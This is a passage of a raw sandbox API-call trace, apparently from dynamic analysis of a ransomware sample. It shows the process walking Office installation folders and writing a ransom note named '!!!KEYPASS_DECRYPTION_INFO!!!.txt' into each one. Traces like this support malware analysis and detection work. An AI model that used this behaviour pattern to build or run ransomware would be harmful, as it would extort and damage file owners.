nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.706] CloseHandle (hObject=0x18f4) returned 1 [0276.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x39987f0 [0276.706] FindNextFileW (in: hFindFile=0x39987f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.706] FindNextFileW (in: hFindFile=0x39987f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.707] FindNextFileW (in: hFindFile=0x39987f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.707] FindNextFileW (in: hFindFile=0x3998170, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.707] FindNextFileW (in: hFindFile=0x3998730, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.707] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.707] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.707] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.707] GetLastError () returned 0x3f0 [0276.707] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.707] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\mozilla firefox\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18ec [0276.730] GetFileType (hFile=0x18ec) returned 0x1 [0276.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.730] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.730] WriteFile (in: hFile=0x18ec, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.731] WriteFile (in: hFile=0x18ec, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.731] CloseHandle (hObject=0x18ec) returned 1 [0276.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3998470 [0276.732] FindNextFileW (in: hFindFile=0x3998470, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.732] FindNextFileW (in: hFindFile=0x3998470, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.732] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.732] FindNextFileW (in: hFindFile=0x3998470, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.732] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.732] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.732] GetLastError () returned 0x3f0 [0276.732] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.732] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\mozilla firefox\\plugins\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18f8 [0276.733] GetFileType (hFile=0x18f8) returned 0x1 [0276.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.733] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.733] WriteFile (in: hFile=0x18f8, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.734] WriteFile (in: hFile=0x18f8, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.734] CloseHandle (hObject=0x18f8) returned 1 [0276.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x39986b0 [0276.734] FindNextFileW (in: hFindFile=0x39986b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.734] FindNextFileW (in: hFindFile=0x39986b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.735] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.735] FindNextFileW (in: hFindFile=0x39986b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.735] FindNextFileW (in: hFindFile=0x3998470, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.735] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0276.735] FindNextFileW (in: hFindFile=0x50ea488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0276.735] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.735] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.735] GetLastError () returned 0x3f0 [0276.735] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.735] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\system\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4daf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1900 [0276.736] GetFileType (hFile=0x1900) returned 0x1 [0276.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.737] WriteFile (in: hFile=0x1900, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.738] WriteFile (in: hFile=0x1900, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x2a, lpOverlapped=0x0) returned 1 [0276.738] CloseHandle (hObject=0x1900) returned 1 [0276.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\*", lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0x39984f0 [0276.738] FindNextFileW (in: hFindFile=0x39984f0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.738] FindNextFileW (in: hFindFile=0x39984f0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.738] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.738] FindNextFileW (in: hFindFile=0x39984f0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0276.738] FindNextFileW (in: hFindFile=0x50ea488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0276.738] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.738] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.738] GetLastError () returned 0x3f0 [0276.738] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.739] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\systemx86\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4daf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1904 [0276.742] GetFileType (hFile=0x1904) returned 0x1 [0276.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.743] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.743] WriteFile (in: hFile=0x1904, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.743] WriteFile (in: hFile=0x1904, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x2a, lpOverlapped=0x0) returned 1 [0276.744] CloseHandle (hObject=0x1904) returned 1 [0276.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\*", lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0x39983f0 [0276.744] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.744] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.744] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.744] GetLastError () returned 0x3f0 [0276.744] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.744] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.776] GetFileType (hFile=0x18fc) returned 0x1 [0276.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.777] CloseHandle (hObject=0x18fc) returned 1 [0276.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.777] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.777] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.777] GetLastError () returned 0x3f0 [0276.778] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.778] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.779] GetFileType (hFile=0x190c) returned 0x1 [0276.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.780] CloseHandle (hObject=0x190c) returned 1 [0276.780] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.780] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.780] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.780] GetLastError () returned 0x3f0 [0276.780] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.780] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.781] GetFileType (hFile=0x1910) returned 0x1 [0276.781] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.781] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.782] CloseHandle (hObject=0x1910) returned 1 [0276.783] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.783] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.783] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.783] GetLastError () returned 0x3f0 [0276.783] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.783] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.784] GetFileType (hFile=0x1914) returned 0x1 [0276.784] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.784] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.784] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.785] CloseHandle (hObject=0x1914) returned 1 [0276.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.785] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.785] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.785] GetLastError () returned 0x3f0 [0276.785] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.785] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.786] GetFileType (hFile=0x1918) returned 0x1 [0276.786] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.786] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.786] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.787] CloseHandle (hObject=0x1918) returned 1 [0276.787] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 